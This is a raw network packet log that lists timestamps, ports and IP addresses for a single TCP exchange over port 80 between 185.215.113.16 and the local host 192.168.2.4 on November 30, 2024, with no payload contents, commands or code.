Nov 30, 2024 18:08:42.386275053 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.386318922 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.387094021 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.387144089 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.387293100 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.387331009 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.388175964 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.388243914 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.388370037 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.388415098 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.389211893 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.389260054 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.389405012 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.389450073 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.390285015 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.390332937 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.390482903 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.390527964 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.391315937 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.391362906 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.391526937 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.391571999 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.392365932 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.392407894 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.392575026 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.392616987 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.393414021 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.393460035 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.393651009 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.393697977 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.394489050 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.394531965 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.394704103 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.394746065 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.395561934 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.395606995 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.395737886 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.395776987 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.396574974 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.396612883 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.396794081 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.396827936 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.397658110 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.397703886 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.397857904 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.397900105 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.398726940 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.398766994 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.398905993 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.398947001 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.399760962 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.399801016 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.399960041 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.400001049 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.400808096 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.400850058 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.401034117 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.401073933 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.401882887 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.401928902 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.402079105 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.402117968 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.402939081 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.402978897 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.403126001 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.403162003 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.403969049 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.404009104 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.404213905 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.404253960 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.405066013 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.405106068 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.405261993 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.405303955 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.406100988 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.406146049 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.406342983 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.406388044 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.407262087 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.407301903 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.407444954 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.407488108 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.408215046 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.408252954 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.408421040 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.408565998 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.409245014 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.409284115 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.409497976 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.409535885 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.410314083 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.410353899 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.410484076 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.410556078 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.411334038 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.411376953 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.411570072 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.411618948 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.412424088 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.412465096 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.412630081 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.412683010 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.413469076 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.413516045 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.413680077 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.413723946 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.414547920 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.414587975 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.414736986 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.414779902 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.415657043 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.415692091 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.415792942 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.415831089 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.416623116 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.416662931 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.416846037 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.416886091 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.417712927 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.417752028 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.417929888 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.417969942 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.418791056 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.418828011 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.418941975 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.418975115 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.419821978 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.419898033 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.420018911 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.420059919 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.420865059 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.420903921 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.421264887 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.421302080 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.422262907 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.422306061 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.422415018 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.422455072 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.423228979 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.423270941 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.423345089 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.423379898 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.424144983 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.424179077 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.424202919 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.424245119 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.425064087 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.425100088 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.425266027 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.425312042 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.426120996 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.426167011 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.426331997 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.426368952 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.427258968 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.427295923 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.427457094 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.427489042 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.428220034 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.428256035 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.428416967 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.428473949 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.429367065 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.429413080 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.429578066 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.429615021 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.445827961 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.445878029 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.445975065 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.446013927 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.446372032 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.446413994 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.446770906 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.446810007 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.447388887 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.447427034 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.447572947 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.447611094 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.448432922 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.448471069 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.579374075 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.579435110 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.579529047 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.579570055 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.579664946 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.579700947 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.580025911 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.580063105 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.580782890 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.580821037 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.580981970 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.581015110 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.581861973 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.581901073 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.582027912 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.582066059 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.582915068 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.582951069 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.583086014 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.583127022 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.583892107 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.583930969 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.584095955 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.584134102 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.584954023 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.584992886 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.585150003 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.585187912 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.586067915 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.586103916 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.586250067 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.586287975 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.587069988 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.587105036 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.587280989 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.587327957 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.588099003 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.588135958 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.588335037 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.588377953 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.589169979 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.589207888 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.589405060 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.589443922 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.590230942 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.590267897 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.590545893 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.590584040 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.591269970 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.591310978 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.591491938 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.591531038 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.592327118 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.592367887 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.592580080 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.592612982 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.593374968 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.593413115 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.593583107 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.593622923 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.594429970 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.594469070 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.594693899 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.594738007 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.595494032 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.595542908 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.595757008 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.595801115 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.596543074 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.596580982 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.596769094 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.596811056 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.597582102 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.597620964 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.597784996 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.597826004 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.598656893 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.598695993 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.598891973 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.598931074 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.599714041 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.599754095 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.599952936 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.599992990 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.600771904 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.600811005 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.600940943 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.600975990 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.601809025 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.601845980 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.602029085 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.602066994 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.602931023 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.602971077 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.603080988 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.603116989 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.603959084 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.604001045 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.604147911 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.604192019 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.605017900 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.605057955 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.605246067 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.605287075 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.606156111 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.606215000 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.606249094 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.606291056 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.607194901 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.607235909 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.607321978 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.607362032 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.608156919 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.608196974 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.608361006 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.608400106 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.609186888 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.609240055 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.609471083 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.609514952 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.610342026 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.610382080 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.610506058 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.610547066 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.611375093 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.611416101 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.611587048 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.611629963 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.612338066 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.612379074 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.612552881 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.612591982 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.613395929 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.613436937 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.613637924 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.613679886 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.614458084 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.614500046 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.614649057 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.614689112 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.615557909 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.615598917 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.615726948 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.615767956 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.616595030 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.616650105 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.616770029 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.616810083 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.617883921 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.617923975 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.618098974 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.618138075 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.618720055 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.618757010 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.618889093 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.618927956 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.619802952 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.619843006 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.619997978 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.620038986 CET	49837	80	192.168.2.4	185.215.113.16
